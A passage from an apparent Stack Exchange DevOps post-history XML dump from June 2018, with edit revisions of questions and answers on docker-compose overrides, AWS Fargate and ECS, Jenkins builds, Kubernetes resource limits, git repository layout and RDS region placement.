but not quite everything. These scripts can be run from docker compose.&#xD;&#xA;&#xD;&#xA; - Research what can be overridden when writing `docker-compose.override.yml`&#xD;&#xA;   when &quot;inheriting&quot; from `docker-compose.yml`. Your particular project may require different configuration in the dev environment, thus the need to override what is in the &quot;parent&quot;/base docker-compose.yml production environment.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/33408118/inheritance-or-nesting-with-docker-compose&#xD;&#xA;  [2]: https://docs.docker.com/compose/extends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13713" PostHistoryTypeId="5" PostId="4370" RevisionGUID="82c35ce6-b7c1-4f9f-bde9-9500a9c5b6e6" CreationDate="2018-06-24T21:34:48.883" UserId="8489" Comment="clarification of overriding concept" Text="**docker-compose.override.yml and `extend`**&#xD;&#xA;&#xD;&#xA;An outline answer would be to have a `docker-compose.yml` file for your common base configuration and a `docker-compose.override.yml` for specific environments, using the docker-compose `extend` keyword/command/statement.&#xD;&#xA;&#xD;&#xA;The above approach is on the basis that one would consider the production environment as the pure, base setup and dev environments would be based off of this (inherited), with any specifics kept out of the production setup. &#xD;&#xA;&#xD;&#xA;Your dev-specific packer setup would be configured in the `docker-compose.override.yml` file. Configuration that is common across all environments would reside in `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;This seems to be the best practice approach, based on the following references:&#xD;&#xA;&#xD;&#xA; - The inheritance/nesting approach is explored here: [Inheritance or&#xD;&#xA;   nesting with docker compose][1]&#xD;&#xA;   &#xD;&#xA; - The official documentation here - [Share Compose configurations&#xD;&#xA;   between files and projects][2] - describes the docker compose&#xD;&#xA;   `extend` keyword.&#xD;&#xA;&#xD;&#xA;**Some things you may or may not need to consider for your specific case**&#xD;&#xA;&#xD;&#xA; - There may or may not be some bespoke config code required in&#xD;&#xA;   _addition_ i.e. in your deployment itself, e.g. bash scripts etc., should the above approach provide most of what you need but not quite everything. These scripts can be run from docker compose.&#xD;&#xA;&#xD;&#xA; - Research what can be overridden when writing `docker-compose.override.yml`&#xD;&#xA;   when &quot;inheriting&quot; from `docker-compose.yml`. Your particular project may require a configuration in the dev environment that overrides the same thing in the production environment, thus the need to override what is in the &quot;parent&quot;/base docker-compose.yml production environment.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/33408118/inheritance-or-nesting-with-docker-compose&#xD;&#xA;  [2]: https://docs.docker.com/compose/extends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13714" PostHistoryTypeId="5" PostId="4370" RevisionGUID="bb6e76e8-29fb-4b5a-b3cb-f7980c4dcc7e" CreationDate="2018-06-24T21:47:44.050" UserId="8489" Comment="Further ideas, potential limitations of overriding " Text="**docker-compose.override.yml, docker-compose.prod.yml and `extend`**&#xD;&#xA;&#xD;&#xA;An outline answer would be to have a `docker-compose.yml` file for your common base configuration and a `docker-compose.override.yml`  for specific environments, using the docker-compose `extend` keyword/command/statement.&#xD;&#xA;&#xD;&#xA;The above approach is on the basis that one would first consider only the things common across all environments as the pure, base setup and then dev and prod environments would be based off of this (inherited). &#xD;&#xA;&#xD;&#xA;Your dev-specific packer setup could be configured in the `docker-compose.override.yml` file, which inherits from the base `docker-compose.yml`. Configuration that is common across all environments would reside in `docker-compose.yml`. Your production setup could be in `docker-compose.prod.yml`, which again can inherit from the base `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;This seems to be the best practice approach, based on the following references:&#xD;&#xA;&#xD;&#xA; - The inheritance/nesting approach is explored here: [Inheritance or&#xD;&#xA;   nesting with docker compose][1]&#xD;&#xA;   &#xD;&#xA; - The official documentation here - [Share Compose configurations&#xD;&#xA;   between files and projects][2] - describes the docker compose&#xD;&#xA;   `extend` keyword.&#xD;&#xA;&#xD;&#xA;**Some things you may or may not need to consider for your specific case**&#xD;&#xA;&#xD;&#xA; - There may or may not be some bespoke config code required in&#xD;&#xA;   _addition_ i.e. in your deployment itself, e.g. bash scripts etc., should the above approach provide most of what you need but not quite everything. These scripts can be run from docker compose.&#xD;&#xA;&#xD;&#xA; - Research what can be overridden when writing `docker-compose.override.yml`&#xD;&#xA;   when &quot;inheriting&quot; from `docker-compose.yml`. Your particular project may require a configuration in the dev environment that overrides the same thing in the production environment, thus the need to override what is in the &quot;parent&quot;/base docker-compose.yml production environment. Consider this issue: https://github.com/docker/compose/issues/3729 - which suggests there are limitations as to what can be overridden, particularly if you want to move a configuration item that was present in the parent `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/33408118/inheritance-or-nesting-with-docker-compose&#xD;&#xA;  [2]: https://docs.docker.com/compose/extends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13718" PostHistoryTypeId="2" PostId="4372" RevisionGUID="2e22e548-ec84-436b-a45c-118e9cf62fa6" CreationDate="2018-06-25T03:37:51.380" UserId="8491" Text="AWS offers fargate now, which is managed by them rather than being a service like ECS which you ran the servers for and they manage the control plane. Fargate is basically &quot;serverless&quot; ECS. You can use a cloudwatch scheduled even to run something occasionally on a schedule on a fargate ECS cluster. Therefore you're only paying for what you're using. Something to consider is fargate is quite a bit more expensive than ECS running on your own EC2 instance, but if you're running in frequently you'll likely see a pretty marginal savings.&#xD;&#xA;&#xD;&#xA;Another option would be to automate something similar. So create an ECS cluster with an ASG backing it, and adjust scale to match ECS demand, and then use cloudwatch to launch the container. ECS can then scale up and down, but this can be tricky because this method is usually used to autoscale ECS clusters based on cloutwatch triggers, so you might have to hack around in cloudwatch and possibly hack together a lambda script, since you're technically not using it the way it's intended. In the end this would probably be the most cost effective, but in your case the cost savings could be negligible.&#xD;&#xA;&#xD;&#xA;In my opinion Kubernetes is a ten ton hammer that you'd be using to hang a picture on the wall. It's way overkill.&#xD;&#xA;&#xD;&#xA;You can explore those 2 options and see if they are cost effective, and easy enough to manage. Other container orchestration is usually going to be overkill, ECS has the advantage(usually a disadvantage) of being stupid simple and you pay very little and have basically no operational overhead for the control plane." ContentLicense="CC BY-SA 4.0" />
  <row Id="13719" PostHistoryTypeId="2" PostId="4373" RevisionGUID="1fb0b20f-43ff-499f-98fb-ffb21bdb4742" CreationDate="2018-06-25T04:00:45.983" UserId="8491" Text="This is opinionated I feel. But for me I think the relation between the 2 is actually a massive mistake made by a lot of companies. There are a ton of software-systems hybrid jobs out there, and I've worked both ends of the spectrum, and in between. DevOps is a buzzword and it's new and shiny, so everything that falls in that realm is instantly deemed DevOps. I would argue that the same description you might give for a Production Engineer would sound exactly like what most people think DevOps is, when in reality DevOps(beware of opinions) is providing tooling for development to leverage and deliver to infrastructure. You are developing the operations of software shipping to and running on a platform. This makes a very diverse role, and that's why I think DevOps is more so a position than a profession. I consider myself a Software Engineer, but I understand the systems side of things very well so I apply my profession to a specialty. While I think, and have seen, that applied inversely, people who used to be sysadmins with knowledge of development and development processes.&#xD;&#xA;&#xD;&#xA;I think a production engineer is similar loosely in the realm of work that is being done, but ultimately DevOps delivers solutions to and shapes the way the Development team works. Where as a production engineer is likely a systems software engineer who writes software to support infrastructure. They are writing software services which run on infrastructure in support of other services and not like DevOps might write Infrastructure as Code which is usually driving some sort of systems automation(puppet, chef, terraformm, etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13720" PostHistoryTypeId="50" PostId="3081" RevisionGUID="2cb9a11c-2305-4b70-8484-f6a997971c93" CreationDate="2018-06-25T06:22:04.887" UserId="-1" />
  <row Id="13725" PostHistoryTypeId="2" PostId="4375" RevisionGUID="89f52c14-7791-4f7a-9b8e-95f80cfe9e20" CreationDate="2018-06-25T12:44:14.797" UserId="8499" Text="[Ansible ec2][1] module have required functionality (launch instances, runs some tasks and then terminate them) out-of-the-box. And even have sample playbook.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/ec2_module.html?highlight=ec2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13726" PostHistoryTypeId="2" PostId="4376" RevisionGUID="c0ce02b3-a9c1-4cd3-bfe3-18bba0cc63ae" CreationDate="2018-06-25T12:53:54.433" UserId="8500" Text="Preface: I understand that Docker for Mac has file syncing performance issues, but everything I've read about the issues is related to slow read access. I don't really have a problem with slow read access. My problem is that updates I make to files on my host machine can sometimes take 10+ seconds to update on the running container!&#xD;&#xA;&#xD;&#xA;Here's my docker-compose file:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      ps-cms:&#xD;&#xA;        image: [obfuscated]&#xD;&#xA;        container_name: ps-cms&#xD;&#xA;        mem_limit: 2048M&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;9080:80&quot;&#xD;&#xA;          - &quot;9443:443&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - .:/var/www/html/site:cached&#xD;&#xA;          - ./xdebug.ini:/etc/php/conf.d/docker-php-ext-xdebug.ini&#xD;&#xA;        environment:&#xD;&#xA;          - MYSQL_HOST=ps-db&#xD;&#xA;        networks:&#xD;&#xA;          - connector&#xD;&#xA;        extra_hosts:&#xD;&#xA;         - &quot;mysite.localhost:127.0.0.1&quot;&#xD;&#xA;    &#xD;&#xA;      ps-db:&#xD;&#xA;        image: mysql:5.6&#xD;&#xA;        container_name: ps-db&#xD;&#xA;        mem_limit: 512M&#xD;&#xA;        environment:&#xD;&#xA;          - MYSQL_ALLOW_EMPTY_PASSWORD=yes&#xD;&#xA;        ports:&#xD;&#xA;          - 33006:3306&#xD;&#xA;        networks:&#xD;&#xA;          - connector&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      connector:&#xD;&#xA;&#xD;&#xA;Software:&#xD;&#xA;&#xD;&#xA;Docker Engine: 18.03.1-ce&#xD;&#xA;Docker Compose: 1.21.1&#xD;&#xA;Docker Machine: 0.14.0&#xD;&#xA;PHP Storm: 2018.1&#xD;&#xA;&#xD;&#xA;In the Docker for Mac preferences, under &quot;file sharing&quot;, I removed everything there and just added my one project folder, since I heard that can affect performance.&#xD;&#xA;&#xD;&#xA;Does anyone have advice on what could be causing this sync delay?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13727" PostHistoryTypeId="1" PostId="4376" RevisionGUID="c0ce02b3-a9c1-4cd3-bfe3-18bba0cc63ae" CreationDate="2018-06-25T12:53:54.433" UserId="8500" Text="Diagnosing large delay in file sync to Docker for Mac" ContentLicense="CC BY-SA 4.0" />
  <row Id="13728" PostHistoryTypeId="3" PostId="4376" RevisionGUID="c0ce02b3-a9c1-4cd3-bfe3-18bba0cc63ae" CreationDate="2018-06-25T12:53:54.433" UserId="8500" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13729" PostHistoryTypeId="2" PostId="4377" RevisionGUID="9da4aae2-9d3e-492c-b0a2-0a25563844e7" CreationDate="2018-06-25T17:58:43.730" UserId="4115" Text="1. [Get a list of changed files](https://stackoverflow.com/a/9473207/1824868) and use that to determine which tests to run.&#xD;&#xA;&#xD;&#xA;2. [Load external Groovy scripts at run time](https://stackoverflow.com/a/38108449/1824868) in order to run your deploys." ContentLicense="CC BY-SA 4.0" />
  <row Id="13730" PostHistoryTypeId="50" PostId="3730" RevisionGUID="c1bbb004-5724-41af-ad8e-a5a728fc6636" CreationDate="2018-06-25T18:22:13.943" UserId="-1" />
  <row Id="13731" PostHistoryTypeId="50" PostId="3056" RevisionGUID="4594c2be-82b0-4235-af8d-f5795bb0ae15" CreationDate="2018-06-25T23:22:10.920" UserId="-1" />
  <row Id="13733" PostHistoryTypeId="50" PostId="3041" RevisionGUID="b8798d80-4180-4c14-a0da-1489ed1cffc2" CreationDate="2018-06-26T00:22:14.227" UserId="-1" />
  <row Id="13734" PostHistoryTypeId="50" PostId="3127" RevisionGUID="318ecf7a-b162-45e7-aaf9-8c9390cfe9e2" CreationDate="2018-06-26T02:22:14.427" UserId="-1" />
  <row Id="13735" PostHistoryTypeId="5" PostId="4015" RevisionGUID="303ca705-8963-48dc-a496-b8290d21b866" CreationDate="2018-06-26T04:02:34.837" UserId="210" Comment="added 1 character in body" Text="As @Tensibai indicated in one the comments, this could be caused as there is unsufficient CPU or memory, but that is not always the case.&#xD;&#xA;&#xD;&#xA;For example, a helm chart was just deployed, it failed and the workload in GCP indicated that: &#xD;&#xA;&#xD;&#xA;&gt; Pod errors: CrashLoopBackOff&#xD;&#xA;&#xD;&#xA;Based on the comment of @Tensibai the first impression was that there were insufficient resources, but further analysis using `kubectl describe pod &lt;pod-name&gt;` indicated that in this case the livenessProbe check failed:&#xD;&#xA;&#xD;&#xA;    Liveness probe failed: Get http://10.16.0.13:80/: dial &#xD;&#xA;    tcp 10.16.0.13:80: getsockopt: connection refused&#xD;&#xA;&#xD;&#xA;In summary, the `Does not have minimum availability` message is generic. Multiple issues could trigger this and more in dept analysis is required to find the actual error." ContentLicense="CC BY-SA 4.0" />
  <row Id="13738" PostHistoryTypeId="2" PostId="4379" RevisionGUID="36f2566c-e50e-4bd4-bc04-a52480d8b6e8" CreationDate="2018-06-26T11:52:33.673" UserId="8360" Text="# Description&#xD;&#xA;Jenkins job was made and configured to build release branch which already existed and had changes on it before first build. Job also monitors for push on BitBucket and starts building if something is pushed to the release branch. &#xD;&#xA;&#xD;&#xA;Problem is we didn't made any changes on release branch, instead we were rebasing it on development and pushing it which triggered builds but it shows *&quot;No changes in any of the builds.&quot;* in **Changes** menu.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Is there special configuration for Jenkins which allows it to handle rebase commits and show changes that occurred to that commit comparing to previous build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13739" PostHistoryTypeId="1" PostId="4379" RevisionGUID="36f2566c-e50e-4bd4-bc04-a52480d8b6e8" CreationDate="2018-06-26T11:52:33.673" UserId="8360" Text="Jenkins shows &quot;No changes in any of the builds.&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13740" PostHistoryTypeId="3" PostId="4379" RevisionGUID="36f2566c-e50e-4bd4-bc04-a52480d8b6e8" CreationDate="2018-06-26T11:52:33.673" UserId="8360" Text="&lt;jenkins&gt;&lt;git&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13741" PostHistoryTypeId="2" PostId="4380" RevisionGUID="3f694876-72ca-4f90-b283-ef62474c99ae" CreationDate="2018-06-26T12:58:00.947" UserId="736" Text="This is conjecture, but after watching this for almost six months here's my theory;&#xD;&#xA;&#xD;&#xA;I think the jobs have to post their logs in sequential order. If you have multiple jobs, or even multiple runs of the same job that all push logs it will wait for them to complete in the order they were started. This can be troublesome if you have one hour-long build that started before a 10-minute job. The shorter one started second even if it finishes first, so will wait for the hour long one to finish before finishing itself.&#xD;&#xA;&#xD;&#xA;There doesn't seem to be any fix for it, but we've learned to just ignore it and count the jobs as done if they're hanging at the logs phase." ContentLicense="CC BY-SA 4.0" />
  <row Id="13746" PostHistoryTypeId="2" PostId="4382" RevisionGUID="4a147c25-cac9-491f-ac4f-363a14410158" CreationDate="2018-06-26T14:43:59.507" UserId="8518" Text="I'm using https://docs.gitlab.com/ee/workflow/repository_mirroring.html#pushing-to-a-remote-repository to push everything into a repository in VSTS, easily done via access token with the right permissions." ContentLicense="CC BY-SA 4.0" />
  <row Id="13747" PostHistoryTypeId="2" PostId="4383" RevisionGUID="449b56b7-1cac-4f4d-8358-973b7981ee40" CreationDate="2018-06-26T16:36:21.900" UserId="5284" Text="It seems like you found your answer but let me add a little color since we went through the same thing.  &#xD;&#xA;&#xD;&#xA;Your yaml for the pods can have both a request and limit for both CPU and memory.  Since you are discussing CPU here I'll stick with that.  What you can do in order to utilize your resources efficiently is set your resource request to the minimum requirement to get scheduled. Say 1.8.  But also set the limit to a higher limit, say 2 or more.  What this will do is make your pod be schedulable on the machine and if CPU is not completely consumed, your pod will utilize the available CPU up to 2 or the limit you set.  This is the way kubernetes can make good use of the resources by &quot;sharing&quot; CPU to the application that needs it. &#xD;&#xA;&#xD;&#xA;See here for requests and limits:&#xD;&#xA;https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13748" PostHistoryTypeId="2" PostId="4384" RevisionGUID="22b55db8-1d8d-480b-8e98-c8a933a9285e" CreationDate="2018-06-26T16:45:45.090" UserId="5284" Text="the most common example would be some sort of logging sidecar.  Depending on your implementation or your service you may want a service that manipulates the files for the pod etc.  Some databases can use sidecars for log shipping in replication, or you might see some process to clean up log files as well.  Although available, those options are not suggested specifically because there are more alternatives.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="13749" PostHistoryTypeId="50" PostId="3317" RevisionGUID="4be9bd3c-411f-4813-bcec-0d67928bfc83" CreationDate="2018-06-26T17:22:28.160" UserId="-1" />
  <row Id="13750" PostHistoryTypeId="50" PostId="1931" RevisionGUID="df49e5bb-1071-43d3-92e4-2d7713c76d15" CreationDate="2018-06-26T18:23:39.137" UserId="-1" />
  <row Id="13751" PostHistoryTypeId="5" PostId="4370" RevisionGUID="7391565e-aaf6-4eb2-90e1-b16f86ff90dd" CreationDate="2018-06-26T19:36:56.670" UserId="8489" Comment="further clarification of overriding concept" Text="**docker-compose.override.yml, docker-compose.prod.yml and `extend`**&#xD;&#xA;&#xD;&#xA;An outline answer would be to have a `docker-compose.yml` file for your common base configuration, a `docker-compose.prod.yml` for production-specific sets of containers and for other specific environments, `docker-compose.override.yml`. It is possible to use the docker-compose `extend` keyword/command/statement in a docker compose yml file to inherit from another docker compose yml file.&#xD;&#xA;&#xD;&#xA;The above approach is on the basis that one would first consider only the things common across all environments as the pure, base setup and then dev and prod environments would be based off of this (inherited). &#xD;&#xA;&#xD;&#xA;Your dev-specific packer setup could be configured in the `docker-compose.override.yml` file, which inherits from the base `docker-compose.yml`. Configuration that is common across all environments would reside in `docker-compose.yml`. Your production setup could be in `docker-compose.prod.yml`, which again can inherit from the base `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;This seems to be the best practice approach, based on the following references:&#xD;&#xA;&#xD;&#xA; - The inheritance/nesting approach is explored here: [Inheritance or&#xD;&#xA;   nesting with docker compose][1]&#xD;&#xA;   &#xD;&#xA; - The official documentation here - [Share Compose configurations&#xD;&#xA;   between files and projects][2] - describes the docker compose&#xD;&#xA;   `extend` keyword.&#xD;&#xA;&#xD;&#xA;**Some things you may or may not need to consider for your specific case**&#xD;&#xA;&#xD;&#xA; - There may or may not be some bespoke config code required in&#xD;&#xA;   _addition_ i.e. in your deployment itself, e.g. bash scripts etc., should the above approach provide most of what you need but not quite everything. These scripts can be run from docker compose.&#xD;&#xA;&#xD;&#xA; - Research what can be overridden when writing `docker-compose.override.yml`&#xD;&#xA;   when &quot;inheriting&quot; from `docker-compose.yml`. Your particular project may require a configuration in the dev environment that overrides the same thing in the production environment, thus the need to override what is in the &quot;parent&quot;/base docker-compose.yml production environment. Consider this issue: https://github.com/docker/compose/issues/3729 - which suggests there are limitations as to what can be overridden, particularly if you want to move a configuration item that was present in the parent `docker-compose.yml`. A better way could be to only have items common across all environments in `docker-compose.yml` and have the specifics in files for specific enviroments, such as `docker-compose.prod.yml`&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/33408118/inheritance-or-nesting-with-docker-compose&#xD;&#xA;  [2]: https://docs.docker.com/compose/extends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13752" PostHistoryTypeId="2" PostId="4385" RevisionGUID="448295c0-061e-4d2d-b9ee-62b5a3664b10" CreationDate="2018-06-26T20:34:35.227" UserId="3062" Text="I have a dot net solution containing a WPF application, MS-SQL database, and 2 dlls.  Each is their own product in the sense that each can be shipped independently (dlls go to nuget to be consumed by other applications to talk to the database).  They are independant of each other but are developed in conjunction with one another (changes made in one typically results in changes in another).  The repos are used by VSTS build and release pipelines.&#xD;&#xA;&#xD;&#xA;Should I set up a single git repo that contains all the projects or should i do a repo for each project?  Should I use submodules?  Are there any alternative solutions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13753" PostHistoryTypeId="1" PostId="4385" RevisionGUID="448295c0-061e-4d2d-b9ee-62b5a3664b10" CreationDate="2018-06-26T20:34:35.227" UserId="3062" Text="Git repo setup for multiple dot net project" ContentLicense="CC BY-SA 4.0" />
  <row Id="13754" PostHistoryTypeId="3" PostId="4385" RevisionGUID="448295c0-061e-4d2d-b9ee-62b5a3664b10" CreationDate="2018-06-26T20:34:35.227" UserId="3062" Text="&lt;git&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13755" PostHistoryTypeId="2" PostId="4386" RevisionGUID="e7b0334b-c051-4709-be99-bba6325fe2b8" CreationDate="2018-06-26T21:11:40.650" UserId="3920" Text="First of all, I apologize for the lengthy title -- by all means change it if you can think of a briefer one.&#xD;&#xA;&#xD;&#xA;We use `Jenkins` for CI. The app is written in `Java`, built with `Maven` (invoked manually in local dev environments and by Jenkins), deployed on various `Tomcat` servers. Nothing unusual about the application stack. Version control is `SVN` for the time being (we're looking at `Git` and I hope that comes soon).&#xD;&#xA;&#xD;&#xA;We have a multi-phase Jenkins job called something like **build.all** which does `svn update` using the Maven plugin and then runs `mvn clean install` from the root dir where the code is checked out by svn. Then, another set of jobs deploys the artifacts made by **build.all** using Tomcat deploy plugin by sending them over to the target servers. The deploy jobs specify the latest successful build of **build.all** as the source of artifacts to deploy.&#xD;&#xA;&#xD;&#xA;That works great when we are in a single branch mode. The hard setting of **build.all** as the source of artifacts to deploy is what is giving me headaches while trying to support transition periods during which some environments receive deployments from branch X and some from branch Y.&#xD;&#xA;&#xD;&#xA;Without belaboring you with the minutiae of random low level tactics how I'm speculating this might be made possible -- can you recommend a high level strategy to support parallel artifact builds from different versioning branches? One goal is to not have to change the job source of artifacts to deploy because there is a rather large number of jobs that do deployments and changing them all by hand would be prohibitively labor intensive. For example, is there a way to maintain a key lookup mapping environments with source branches (or references thereof) so if a deployment job starts with *STAGE* or *UAT*, Jenkins looks up which build job (specific to a branch) is mapped to that environment?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13756" PostHistoryTypeId="1" PostId="4386" RevisionGUID="e7b0334b-c051-4709-be99-bba6325fe2b8" CreationDate="2018-06-26T21:11:40.650" UserId="3920" Text="Alternating between SVN branches to build deployment artifacts for different environments" ContentLicense="CC BY-SA 4.0" />
  <row Id="13757" PostHistoryTypeId="3" PostId="4386" RevisionGUID="e7b0334b-c051-4709-be99-bba6325fe2b8" CreationDate="2018-06-26T21:11:40.650" UserId="3920" Text="&lt;jenkins&gt;&lt;branch&gt;&lt;subversion&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13758" PostHistoryTypeId="50" PostId="1746" RevisionGUID="c7ea76fc-7b58-47eb-8147-e3f1f00df4df" CreationDate="2018-06-26T21:25:43.500" UserId="-1" />
  <row Id="13762" PostHistoryTypeId="5" PostId="4386" RevisionGUID="df1cf43f-3c7b-40b7-9f57-fa45c0704a0c" CreationDate="2018-06-26T21:33:21.440" UserId="3920" Comment="deleted 7 characters in body" Text="First of all, I apologize for the lengthy title -- by all means change it if you can think of a briefer one.&#xD;&#xA;&#xD;&#xA;We use `Jenkins` for CI. The app is written in `Java`, built with `Maven` (invoked manually in local dev environments and by Jenkins), deployed on various `Tomcat` servers. Nothing unusual about the application stack. Version control is `SVN` for the time being (we're looking at `Git` and I hope that comes soon).&#xD;&#xA;&#xD;&#xA;We have a multi-phase Jenkins job called something like **build.all** which does `svn update` using the Maven plugin and then runs `mvn clean install` from the root dir where the code is checked out by svn. Then, another set of jobs deploys the artifacts made by **build.all** using Tomcat deploy plugin by sending them over to the target servers. The deploy jobs specify the latest successful build of **build.all** as the source of artifacts to deploy.&#xD;&#xA;&#xD;&#xA;That works great when we are in a single branch mode. The hard setting of **build.all** as the source of artifacts to deploy is what is giving me headaches while trying to support transition periods during which some environments receive deployments from branch X and some from branch Y.&#xD;&#xA;&#xD;&#xA;Without belaboring you with the minutiae of random low level tactics I'm speculating might make this possible -- can you recommend a high level strategy to support parallel artifact builds from different versioning branches? One goal is to not have to change the job source of artifacts to deploy because there is a rather large number of jobs that do deployments and changing them all by hand would be prohibitively labor intensive. For example, is there a way to maintain a key lookup mapping environments with source branches (or references thereof) so if a deployment job starts with *STAGE* or *UAT*, Jenkins looks up which build job (specific to a branch) is mapped to that environment?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13763" PostHistoryTypeId="5" PostId="4386" RevisionGUID="48c53faf-5e34-4a4e-ba13-61a0cc38d185" CreationDate="2018-06-26T21:54:36.683" UserId="3920" Comment="added 60 characters in body" Text="First of all, I apologize for the lengthy title -- by all means change it if you can think of a briefer one.&#xD;&#xA;&#xD;&#xA;We use `Jenkins` for CI. The app is written in `Java`, built with `Maven` (invoked manually in local dev environments and by Jenkins), deployed on various `Tomcat` servers. Nothing unusual about the application stack. Version control is `SVN` for the time being (we're looking at `Git` and I hope that comes soon).&#xD;&#xA;&#xD;&#xA;We have a multi-phase Jenkins job called something like **build.all** which does `svn update` using the Maven plugin and then runs `mvn clean install` from the root dir where the code is checked out by svn. Then, another set of jobs deploys the artifacts made by **build.all** using [deploy plugin][1] by sending them over to the target servers using a Tomcat manager web service. The deploy jobs specify the latest successful build of **build.all** as the source of artifacts to deploy.&#xD;&#xA;&#xD;&#xA;That works great when we are in a single branch mode. The hard setting of **build.all** as the source of artifacts to deploy is what is giving me headaches while trying to support transition periods during which some environments receive deployments from branch X and some from branch Y.&#xD;&#xA;&#xD;&#xA;Without belaboring you with the minutiae of random low level tactics I'm speculating might make this possible -- can you recommend a high level strategy to support parallel artifact builds from different versioning branches? One goal is to not have to change the job source of artifacts to deploy because there is a rather large number of jobs that do deployments and changing them all by hand would be prohibitively labor intensive. For example, is there a way to maintain a key lookup mapping environments with source branches (or references thereof) so if a deployment job starts with *STAGE* or *UAT*, Jenkins looks up which build job (specific to a branch) is mapped to that environment?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Deploy+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="13764" PostHistoryTypeId="4" PostId="4386" RevisionGUID="ccf7c2c1-c7be-4e20-84f5-c6ec4c25d6ec" CreationDate="2018-06-26T23:35:59.913" UserId="3920" Comment="edited title" Text="Alternating VC branches to build deployment artifacts for different environments" ContentLicense="CC BY-SA 4.0" />
  <row Id="13768" PostHistoryTypeId="2" PostId="4389" RevisionGUID="7172794a-5c38-40ea-b04c-02892a392f7e" CreationDate="2018-06-27T01:47:25.623" UserId="8527" Text="I'm hoping this isn't so open ended that it veers towards a &quot;discussion&quot; more than an &quot;answerable&quot; question.&#xD;&#xA;&#xD;&#xA;I need to place an RDS Postgres instance in an AWS region that will act as the master DB for writes from all other regions. Those regions will include Australian and European regions, as well as North American. &#xD;&#xA;&#xD;&#xA;My concern is latency on writes. I will use replicas for reads, so that is not so much a concern.&#xD;&#xA;&#xD;&#xA;I will be using interregion VPC peering for all regions to be able to communicate with the RDS instance.&#xD;&#xA;&#xD;&#xA;I'm thinking that placing the RDS server in `us-west-2` as it seems to be in the most &quot;central&quot; spot for all regions of concern.&#xD;&#xA;&#xD;&#xA;I understand that the AWS &quot;backbone&quot; is very fast, and perhaps fast enough not for this to be a concern.&#xD;&#xA;&#xD;&#xA;Has anyone dealt with this problem and have any metrics or other ways to quantify a decision on where to place this RDS instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13769" PostHistoryTypeId="1" PostId="4389" RevisionGUID="7172794a-5c38-40ea-b04c-02892a392f7e" CreationDate="2018-06-27T01:47:25.623" UserId="8527" Text="Trade offs of putting an international master database in us-west-2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13770" PostHistoryTypeId="3" PostId="4389" RevisionGUID="7172794a-5c38-40ea-b04c-02892a392f7e" CreationDate="2018-06-27T01:47:25.623" UserId="8527" Text="&lt;amazon-web-services&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13771" PostHistoryTypeId="50" PostId="1517" RevisionGUID="edcd687d-a1d3-41e2-891c-008a7e87be15" CreationDate="2018-06-27T03:32:44.347" UserId="-1" />
  <row Id="13772" PostHistoryTypeId="2" PostId="4390" RevisionGUID="300161b5-22be-4c60-8119-755e46dd7b9a" CreationDate="2018-06-27T04:15:46.820" UserId="5284" Text="what you are looking for is compliance and security for containers.  There are companies that can do this out the box for you, and even though I'm not advocating for either you can see what they offer and use that as a template. &#xD;&#xA;&#xD;&#xA;https://www.twistlock.com/platform/container-compliance/&#xD;&#xA;https://www.aquasec.com/use-cases/container-auditing-compliance/&#xD;&#xA;&#xD;&#xA;As a HIPAA security officer and DevOps manager, I've been reviewing these processes.  The way to think of DevOps in your sense is probably the automation and culture of ship fast, fail early and fail often.  The goal is to not disrupt the pipeline from security and compliance.  Technically this looks like adding automated compliance checks in the pipeline before, during and after go live.  As automation gets built, you can replace the automation with a manual process'.  You can check out subjects like DevSecOps which is the same concept of ensuring compliance and probably closer to what you'll need to do.&#xD;&#xA;&#xD;&#xA;here's an AWS diagram that might help https://aws.amazon.com/blogs/devops/implementing-devsecops-using-aws-codepipeline/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
